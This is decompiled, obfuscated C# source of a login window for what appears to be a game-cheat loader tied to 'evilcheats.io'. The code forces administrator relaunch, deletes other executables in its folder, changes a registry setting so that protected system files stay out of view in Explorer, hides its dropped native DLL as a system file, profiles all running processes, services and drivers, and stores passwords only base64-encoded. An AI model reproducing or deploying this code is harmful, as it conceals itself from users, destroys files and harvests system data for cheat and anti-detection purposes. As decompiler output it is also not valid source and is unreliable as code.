using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing.Printing;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Media.Effects;
using System.Windows.Shapes;
using System.Windows.Threading;
using IniParser;
using IniParser.Model;
using Login.Properties;
using Microsoft.CSharp.RuntimeBinder;
using Microsoft.Win32;
using Newtonsoft.Json;
using Shell32;

namespace ns0
{
	// Token: 0x02000021 RID: 33
	public class GClass22 : Window, IComponentConnector
	{
		// Token: 0x060000F9 RID: 249
		[DllImport("dwmapi.dll")]
		private static extern int DwmSetWindowAttribute(IntPtr intptr_0, int int_1, ref int int_2, int int_3);

		// Token: 0x060000FA RID: 250
		[DllImport("dwmapi.dll")]
		private static extern int DwmExtendFrameIntoClientArea(IntPtr intptr_0, ref Margins margins_0);

		// Token: 0x060000FB RID: 251
		[DllImport("kernel32", SetLastError = true)]
		public static extern bool FreeLibrary(IntPtr intptr_0);

		// Token: 0x060000FC RID: 252
		[DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
		private static extern IntPtr __l1(GClass22.GStruct1 gstruct1_1);

		// Token: 0x060000FD RID: 253
		[DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
		private static extern IntPtr __l6(long long_0);

		// Token: 0x060000FE RID: 254
		[DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
		public static extern bool __l12(string string_10);

		// Token: 0x060000FF RID: 255
		[DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
		public static extern int __l14();

		// Token: 0x06000100 RID: 256
		[DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
		public static extern IntPtr __l26(string string_10);

		// Token: 0x06000101 RID: 257 RVA: 0x00015F08 File Offset: 0x00014108
		private static Folder smethod_0(object object_0)
		{
			Type typeFromProgID = Type.GetTypeFromProgID("Shell.Application");
			object target = Activator.CreateInstance(typeFromProgID);
			return (Folder)typeFromProgID.InvokeMember("NameSpace", BindingFlags.InvokeMethod, null, target, new object[]
			{
				object_0
			});
		}

		// Token: 0x06000102 RID: 258 RVA: 0x00002C1B File Offset: 0x00000E1B
		public bool method_0()
		{
			return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
		}

		// Token: 0x06000103 RID: 259 RVA: 0x00015F48 File Offset: 0x00014148
		public GClass22()
		{
			Class59.smethod_0();
			this.dispatcherTimer_0 = new DispatcherTimer();
			this.random_0 = new Random(DateTime.Now.Millisecond);
			this.double_0 = 5.0;
			this.double_1 = 10.0;
			this.double_2 = 0.2;
			this.double_3 = -2.0;
			base..ctor();
			base.Visibility = Visibility.Hidden;
			base.Title = GClass28.smethod_6(4);
			if (!this.method_0())
			{
				GClass20.smethod_0("Start the file as administrator", "Info", "");
				Thread.Sleep(3000);
				Environment.Exit(0);
			}
			string newLogin = "";
			try
			{
				ServiceControllerStatus status = new ServiceController("npf").Status;
				if (status == ServiceControllerStatus.Stopped)
				{
					GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
					new Thread(delegate()
					{
						Thread.Sleep(3500);
						Environment.Exit(0);
					}).Start();
					return;
				}
				if (status == ServiceControllerStatus.StopPending)
				{
					GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
					new Thread(delegate()
					{
						Thread.Sleep(3500);
						Environment.Exit(0);
					}).Start();
					return;
				}
				if (status == ServiceControllerStatus.Paused)
				{
					GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
					new Thread(delegate()
					{
						Thread.Sleep(3500);
						Environment.Exit(0);
					}).Start();
					return;
				}
			}
			catch
			{
				GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
				new Thread(delegate()
				{
					Thread.Sleep(3500);
					Environment.Exit(0);
				}).Start();
				return;
			}
			if (Process.GetCurrentProcess().ProcessName.Contains("_updated"))
			{
				newLogin = Process.GetCurrentProcess().ProcessName.Replace("_updated", "") + ".exe";
				Thread.Sleep(1000);
				File.Copy(Assembly.GetExecutingAssembly().Location, Directory.GetCurrentDirectory() + "\\" + newLogin, true);
				Process.Start(new ProcessStartInfo
				{
					WindowStyle = ProcessWindowStyle.Hidden,
					FileName = "cmd.exe",
					WorkingDirectory = Directory.GetCurrentDirectory(),
					Arguments = string.Concat(new string[]
					{
						"/c \"",
						Directory.GetCurrentDirectory(),
						"\\",
						newLogin,
						"\" -cc"
					}),
					Verb = "runas"
				});
				Environment.Exit(1);
			}
			GClass22.string_6 = GClass22.smethod_5();
			this.thread_0 = new Thread(delegate()
			{
				if (Process.GetCurrentProcess().ProcessName != "Login_x64")
				{
					newLogin = "Login_x64.exe";
					File.Copy(Assembly.GetExecutingAssembly().Location, Directory.GetCurrentDirectory() + "\\" + newLogin, true);
					Process.Start(new ProcessStartInfo
					{
						WindowStyle = ProcessWindowStyle.Hidden,
						FileName = "cmd.exe",
						WorkingDirectory = Directory.GetCurrentDirectory(),
						Arguments = string.Concat(new string[]
						{
							"/c \"",
							Directory.GetCurrentDirectory(),
							"\\",
							newLogin,
							"\" -cc -nofontcheck"
						}),
						Verb = "runas"
					});
					Environment.Exit(1);
				}
				if (GClass22.smethod_1(Process.GetCurrentProcess()).Contains("nofontcheck"))
				{
					return;
				}
				string[] files2 = Directory.GetFiles(Directory.GetCurrentDirectory());
				for (int j = 0; j < files2.Count<string>(); j++)
				{
					try
					{
						if (!files2[j].EndsWith("_x64.exe") && !files2[j].EndsWith("_x86.exe"))
						{
							if (files2[j].EndsWith(".exe"))
							{
								File.Delete(files2[j]);
							}
							if (files2[j].EndsWith(".local"))
							{
								File.Delete(files2[j]);
							}
							if (files2[j].Contains("HtmlRenderer"))
							{
								File.Delete(files2[j]);
							}
						}
					}
					catch
					{
					}
				}
				Folder folder = GClass22.smethod_0(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"));
				string[] files3 = Directory.GetFiles(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"));
				bool flag = false;
				bool flag2 = false;
				bool flag3 = false;
				bool flag4 = false;
				for (int k = 0; k < files3.Count<string>(); k++)
				{
					if (files3[k].ToLower().Contains("fontawesome900"))
					{
						flag = true;
					}
					if (files3[k].ToLower().Contains("opensans-regular"))
					{
						flag4 = true;
					}
					if (files3[k].ToLower().Contains("opensans-light"))
					{
						flag3 = true;
					}
					if (files3[k].ToLower().Contains("opensans-extrabold"))
					{
						flag2 = true;
					}
				}
				if (!flag)
				{
					new WebClient().DownloadFile("https://use.fontawesome.com/releases/v5.3.1/webfonts/fa-solid-900.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"));
					folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"), Type.Missing);
					File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"));
				}
				if (!flag2)
				{
					new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-ExtraBold.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"));
					folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"), Type.Missing);
					File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"));
				}
				if (!flag3)
				{
					new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-Light.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"));
					folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"), Type.Missing);
					File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"));
				}
				if (!flag4)
				{
					new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-Regular.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"));
					folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"), Type.Missing);
					File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"));
				}
				if (!flag || !flag2 || !flag3)
				{
				}
			});
			this.thread_0.Start();
			this.InitializeComponent();
			base.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
			this.txt_close.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
			this.txt_minimize.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
			this.input_password.GotFocus += new RoutedEventHandler(this.GClass22_MouseDown);
			this.input_username.GotFocus += new RoutedEventHandler(this.GClass22_MouseDown);
			this.btn_login.Click += new RoutedEventHandler(this.GClass22_MouseDown);
			this.dispatcherTimer_0.Interval = TimeSpan.FromMilliseconds(16.0);
			this.dispatcherTimer_0.Tick += this.dispatcherTimer_0_Tick;
			this.dispatcherTimer_0.Start();
			long num = 0L;
			try
			{
				Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Microsoft", true).OpenSubKey("Windows", true).OpenSubKey("CurrentVersion", true).OpenSubKey("Explorer", true).OpenSubKey("Advanced", true).SetValue("ShowSuperHidden", 0);
			}
			catch (Exception)
			{
			}
			try
			{
				foreach (string path in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.dll"))
				{
					FileAttributes attributes = File.GetAttributes(path);
					if (!attributes.HasFlag(FileAttributes.Hidden))
					{
						File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
					}
				}
			}
			catch (Exception)
			{
			}
			try
			{
				if (File.Exists("API_x64.dll"))
				{
					num = new FileInfo("API_x64.dll").Length;
					FileAttributes attributes2 = File.GetAttributes("API_x64.dll");
					if (!attributes2.HasFlag(FileAttributes.Hidden))
					{
						File.SetAttributes("API_x64.dll", File.GetAttributes("API_x64.dll") | FileAttributes.Hidden | FileAttributes.System);
					}
				}
				if (!File.Exists("API_x64.dll") || num != (long)Login.Properties.Resources.smethod_0().Length)
				{
					if (File.Exists("API_x64.dll"))
					{
						try
						{
							File.Delete("API_x64.dll");
						}
						catch (Exception ex)
						{
							GClass20.smethod_0("Error API_x64.dll - " + ex.Message, "", "");
						}
					}
					File.WriteAllBytes("API_x64.dll", Login.Properties.Resources.smethod_0());
					FileAttributes attributes3 = File.GetAttributes("API_x64.dll");
					if (!attributes3.HasFlag(FileAttributes.Hidden))
					{
						File.SetAttributes("API_x64.dll", File.GetAttributes("API_x64.dll") | FileAttributes.Hidden | FileAttributes.System);
					}
					Thread.Sleep(5000);
				}
			}
			catch (Exception ex2)
			{
				GClass20.smethod_0("Error loading API.\n" + ex2.Message, "", "");
				Thread.Sleep(5000);
				Environment.Exit(0);
			}
			try
			{
				GClass22.string_7 = GClass22.__l14().ToString();
			}
			catch (Exception ex3)
			{
				GClass20.smethod_0("Error loading API. #1\n" + ex3.Message, "", "");
				Thread.Sleep(5000);
				Environment.Exit(0);
			}
			this.thread_1 = new Thread(delegate()
			{
				try
				{
					GClass22.gstruct0_0.waitHandle_0 = new WaitHandle[15];
					for (int j = 0; j < 5; j++)
					{
						GClass22.gstruct0_0.waitHandle_0[j] = new EventWaitHandle(false, EventResetMode.AutoReset);
					}
					GClass22.gstruct1_0.method_1(GClass22.gstruct0_0.waitHandle_0[0].SafeWaitHandle.DangerousGetHandle());
					GClass22.gstruct1_0.method_3(GClass22.gstruct0_0.waitHandle_0[1].SafeWaitHandle.DangerousGetHandle());
					GClass22.gstruct1_0.method_5(GClass22.gstruct0_0.waitHandle_0[2].SafeWaitHandle.DangerousGetHandle());
					GClass22.gstruct1_0.method_7(GClass22.gstruct0_0.waitHandle_0[3].SafeWaitHandle.DangerousGetHandle());
					GClass22.string_0 = Marshal.PtrToStringAnsi(GClass22.__l1(GClass22.gstruct1_0));
				}
				catch (Exception)
				{
					Thread.Sleep(5000);
					Environment.Exit(0);
				}
				if (GClass22.string_0.Length == 0)
				{
					Environment.Exit(0);
					return;
				}
				for (int k = 2; k < 3; k++)
				{
					if (!GClass22.gstruct0_0.waitHandle_0[k].WaitOne(TimeSpan.FromMilliseconds(900.0), true))
					{
						Thread.Sleep(5000);
						Environment.Exit(0);
					}
				}
			});
			this.thread_1.Start();
			GClass22.smethod_8(this);
			try
			{
				new FileIniDataParser();
				IniData iniData = new IniData();
				if (!File.Exists(Directory.GetCurrentDirectory() + "\\user.txt") && !File.Exists(Directory.GetCurrentDirectory() + "\\pass.txt"))
				{
					if (File.Exists(Directory.GetCurrentDirectory() + "\\Config.ini"))
					{
						iniData = new FileIniDataParser().ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
					}
					else
					{
						FileIniDataParser fileIniDataParser = new FileIniDataParser();
						iniData = new IniData();
						iniData["UserData"]["Name"] = "";
						iniData["UserData"]["Pass"] = "";
						fileIniDataParser.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
					}
				}
				else
				{
					try
					{
						File.Delete(Directory.GetCurrentDirectory() + "\\user.txt");
					}
					catch
					{
					}
					try
					{
						File.Delete(Directory.GetCurrentDirectory() + "\\pass.txt");
					}
					catch
					{
					}
					FileIniDataParser fileIniDataParser2 = new FileIniDataParser();
					iniData = new IniData();
					iniData["UserData"]["Name"] = File.ReadAllText(Directory.GetCurrentDirectory() + "\\user.txt");
					iniData["UserData"]["Pass"] = "";
					fileIniDataParser2.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
				}
				if (iniData["UserData"]["Name"] != "" && iniData["UserData"]["Pass"] != "")
				{
					this.input_username.Text = iniData["UserData"]["Name"];
					this.input_password.Password = Encoding.UTF8.GetString(Convert.FromBase64String(iniData["UserData"]["Pass"]));
				}
				if (this.input_username.Text != "" && this.input_password.Password != "")
				{
					GClass22.string_3 = this.input_username.Text;
					GClass22.string_4 = this.input_password.Password;
				}
			}
			catch
			{
			}
			this.thread_2 = new Thread(delegate()
			{
				long ticks = DateTime.Now.Ticks;
				if (GClass22.__l6(ticks).ToInt64() != 0L)
				{
					GClass22.string_1 = Marshal.PtrToStringAnsi(GClass22.__l6(ticks));
				}
				GClass26.smethod_0();
				string str = "";
				foreach (string key in GClass26.dictionary_0.Keys)
				{
					try
					{
						if (GClass22.__l26(GClass26.dictionary_0[key]).ToInt64() != 0L)
						{
							str = str + Marshal.PtrToStringAnsi(GClass22.__l26(GClass26.dictionary_0[key])) + ",";
						}
					}
					catch
					{
					}
				}
				if (GClass22.gclass23_0.string_2 == string.Empty)
				{
					string text = string.Empty;
					new Process[Process.GetProcesses().Count<Process>()];
					ServiceController[] array = new ServiceController[ServiceController.GetServices().Count<ServiceController>()];
					ServiceController[] array2 = new ServiceController[ServiceController.GetDevices().Count<ServiceController>()];
					Process[] processes = Process.GetProcesses();
					array = ServiceController.GetServices();
					array2 = ServiceController.GetDevices();
					foreach (Process process in processes)
					{
						if (process.MainWindowTitle != "")
						{
							text = string.Concat(new string[]
							{
								text,
								"Process: ",
								process.ProcessName,
								" - ",
								process.MainWindowTitle,
								"\n"
							});
							if (process.MainWindowHandle == IntPtr.Zero)
							{
							}
						}
						else
						{
							text = text + "Process: " + process.ProcessName + "\n";
							process.MainWindowHandle == IntPtr.Zero;
						}
					}
					foreach (ServiceController serviceController in array)
					{
						text = string.Concat(new object[]
						{
							text,
							"Service: ",
							serviceController.ServiceName,
							" ",
							serviceController.DisplayName,
							" STATUS:",
							serviceController.Status,
							"\n"
						});
					}
					foreach (ServiceController serviceController2 in array2)
					{
						text = string.Concat(new object[]
						{
							text,
							"Driver: ",
							serviceController2.ServiceName,
							" ",
							serviceController2.DisplayName,
							" STATUS:",
							serviceController2.Status,
							"\n"
						});
					}
					GClass22.gclass23_0.string_2 = text;
				}
				GClass22.string_2 = str;
			});
			this.thread_2.Start();
			((Storyboard)base.FindResource("FadeIn")).Begin(this);
			base.Visibility = Visibility.Visible;
		}

		// Token: 0x06000104 RID: 260 RVA: 0x0001691C File Offset: 0x00014B1C
		public static string smethod_1(Process process_0)
		{
			string text = null;
			using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(string.Format("SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}", process_0.Id)))
			{
				ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
				if (enumerator.MoveNext())
				{
					object obj = enumerator.Current["CommandLine"];
					text = ((obj != null) ? obj.ToString() : null);
				}
			}
			if (text == null)
			{
				ProcessModule mainModule = process_0.MainModule;
			}
			return text;
		}

		// Token: 0x06000105 RID: 261 RVA: 0x000169A0 File Offset: 0x00014BA0
		public static string smethod_2(string string_10, string string_11)
		{
			StringBuilder stringBuilder = new StringBuilder();
			for (int i = 0; i < string_11.Length; i++)
			{
				stringBuilder.Append(string_11[i] ^ string_10[i % string_10.Length]);
			}
			return stringBuilder.ToString();
		}

		// Token: 0x06000106 RID: 262 RVA: 0x00002C31 File Offset: 0x00000E31
		public static string smethod_3(string string_10)
		{
			return Convert.ToBase64String(Encoding.UTF8.GetBytes(string_10));
		}

		// Token: 0x06000107 RID: 263 RVA: 0x000169E8 File Offset: 0x00014BE8
		private async void GClass22_MouseDown(object object_0, dynamic e)
		{
			try
			{
				if (GClass22.<>o__41.<>p__1 == null)
				{
					GClass22.<>o__41.<>p__1 = CallSite<Func<CallSite, object, bool, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.Equal, typeof(GClass22), new CSharpArgumentInfo[]
					{
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
					}));
				}
				Func<CallSite, object, bool, object> target = GClass22.<>o__41.<>p__1.Target;
				CallSite <>p__ = GClass22.<>o__41.<>p__1;
				if (GClass22.<>o__41.<>p__0 == null)
				{
					GClass22.<>o__41.<>p__0 = CallSite<Func<CallSite, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.GetMember(CSharpBinderFlags.None, "Handled", typeof(GClass22), new CSharpArgumentInfo[]
					{
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
					}));
				}
				object obj = target(<>p__, GClass22.<>o__41.<>p__0.Target(GClass22.<>o__41.<>p__0, e), false);
				if (GClass22.<>o__41.<>p__6 == null)
				{
					GClass22.<>o__41.<>p__6 = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(GClass22), new CSharpArgumentInfo[]
					{
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
					}));
				}
				if (!GClass22.<>o__41.<>p__6.Target(GClass22.<>o__41.<>p__6, obj))
				{
					if (GClass22.<>o__41.<>p__5 == null)
					{
						GClass22.<>o__41.<>p__5 = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(GClass22), new CSharpArgumentInfo[]
						{
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
						}));
					}
					Func<CallSite, object, bool> target2 = GClass22.<>o__41.<>p__5.Target;
					CallSite <>p__2 = GClass22.<>o__41.<>p__5;
					if (GClass22.<>o__41.<>p__4 == null)
					{
						GClass22.<>o__41.<>p__4 = CallSite<Func<CallSite, object, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.BinaryOperationLogical, ExpressionType.Or, typeof(GClass22), new CSharpArgumentInfo[]
						{
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
						}));
					}
					Func<CallSite, object, object, object> target3 = GClass22.<>o__41.<>p__4.Target;
					CallSite <>p__3 = GClass22.<>o__41.<>p__4;
					object arg = obj;
					if (GClass22.<>o__41.<>p__3 == null)
					{
						GClass22.<>o__41.<>p__3 = CallSite<Func<CallSite, object, MouseButton, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.Equal, typeof(GClass22), new CSharpArgumentInfo[]
						{
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
						}));
					}
					Func<CallSite, object, MouseButton, object> target4 = GClass22.<>o__41.<>p__3.Target;
					CallSite <>p__4 = GClass22.<>o__41.<>p__3;
					if (GClass22.<>o__41.<>p__2 == null)
					{
						GClass22.<>o__41.<>p__2 = CallSite<Func<CallSite, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.GetMember(CSharpBinderFlags.None, "ChangedButton", typeof(GClass22), new CSharpArgumentInfo[]
						{
							CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
						}));
					}
					if (!target2(<>p__2, target3(<>p__3, arg, target4(<>p__4, GClass22.<>o__41.<>p__2.Target(GClass22.<>o__41.<>p__2, e), MouseButton.Left))))
					{
						goto IL_E1E;
					}
				}
				if (object_0 == this.btn_login && !this.bool_0)
				{
					GClass22.<>c__DisplayClass41_0 CS$<>8__locals1 = new GClass22.<>c__DisplayClass41_0();
					CS$<>8__locals1.<>4__this = this;
					this.bool_0 = true;
					string[] files = Directory.GetFiles(Directory.GetCurrentDirectory());
					for (int i = 0; i < files.Count<string>(); i++)
					{
						try
						{
							if (!files[i].Contains("_x64") && !files[i].Contains("_x86"))
							{
								if (files[i].EndsWith(".exe"))
								{
									File.Delete(files[i]);
								}
							}
						}
						catch
						{
						}
					}
					GClass22.string_4 = this.input_password.Password;
					GClass22.string_3 = this.input_username.Text;
					this.spinner.Visibility = Visibility.Visible;
					((Storyboard)base.FindResource("FadeIn")).Begin(this.spinner);
					((Storyboard)base.FindResource("WaitStoryboard")).Begin();
					CS$<>8__locals1.logBuf = "";
					TaskAwaiter<GClass22.GEnum0> taskAwaiter = Task.Run<GClass22.GEnum0>(delegate()
					{
						GClass22.<>c__DisplayClass41_0.Struct0 @struct;
						@struct.<>c__DisplayClass41_0_0 = CS$<>8__locals1;
						@struct.asyncTaskMethodBuilder_0 = AsyncTaskMethodBuilder<GClass22.GEnum0>.Create();
						@struct.int_0 = -1;
						AsyncTaskMethodBuilder<GClass22.GEnum0> asyncTaskMethodBuilder_ = @struct.asyncTaskMethodBuilder_0;
						asyncTaskMethodBuilder_.Start<GClass22.<>c__DisplayClass41_0.Struct0>(ref @struct);
						return @struct.asyncTaskMethodBuilder_0.Task;
					}).GetAwaiter();
					if (!taskAwaiter.IsCompleted)
					{
						await taskAwaiter;
						TaskAwaiter<GClass22.GEnum0> taskAwaiter2;
						taskAwaiter = taskAwaiter2;
						taskAwaiter2 = default(TaskAwaiter<GClass22.GEnum0>);
					}
					GClass22.GEnum0 result = taskAwaiter.GetResult();
					GClass22.<>c__DisplayClass41_1 CS$<>8__locals2 = new GClass22.<>c__DisplayClass41_1();
					switch (result)
					{
					case (GClass22.GEnum0)0:
						GClass20.smethod_0("Check Username and Password!\n\nUsername is case sensitive.", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)1:
					{
						this.spinner.Visibility = Visibility.Hidden;
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser = new FileIniDataParser();
							IniData iniData = fileIniDataParser.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData["UserData"]["Name"] = GClass22.string_3;
							iniData["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
						}
						new Thread(new ThreadStart(this.method_7))
						{
							IsBackground = true
						}.Start();
						new Thread(new ThreadStart(this.method_8)).Start();
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						new GClass28().Show();
						base.Close();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)2:
					{
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser2 = new FileIniDataParser();
							IniData iniData2 = fileIniDataParser2.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData2["UserData"]["Name"] = GClass22.string_3;
							iniData2["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser2.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData2, Encoding.Unicode);
						}
						GClass20.smethod_0("You have been banned!\nIf you think thats a mistake open a Support ticket on our Website.\nhttps://forum.evilcheats.io/support/", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)3:
					{
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser3 = new FileIniDataParser();
							IniData iniData3 = fileIniDataParser3.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData3["UserData"]["Name"] = GClass22.string_3;
							iniData3["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser3.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData3, Encoding.Unicode);
						}
						GClass20.smethod_0("Your HWID is invalid. If you have changed pc-parts or reinstalled windows create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)4:
					{
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser4 = new FileIniDataParser();
							IniData iniData4 = fileIniDataParser4.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData4["UserData"]["Name"] = GClass22.string_3;
							iniData4["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser4.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData4, Encoding.Unicode);
						}
						GClass20.smethod_0("Your ISP is invalid. If this error is persistent create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)5:
					{
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser5 = new FileIniDataParser();
							IniData iniData5 = fileIniDataParser5.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData5["UserData"]["Name"] = GClass22.string_3;
							iniData5["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser5.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData5, Encoding.Unicode);
						}
						GClass20.smethod_0("Our API server is currently overloaded, try to login later.\n\nWe apologize for this issue.", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)6:
					{
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser6 = new FileIniDataParser();
							IniData iniData6 = fileIniDataParser6.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData6["UserData"]["Name"] = GClass22.string_3;
							iniData6["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser6.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData6, Encoding.Unicode);
						}
						GClass20.smethod_0("We have detected a VPN. If this is a false detection create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					case (GClass22.GEnum0)7:
						GClass20.smethod_0("Error decrypting user-data - Try again later.", "", "");
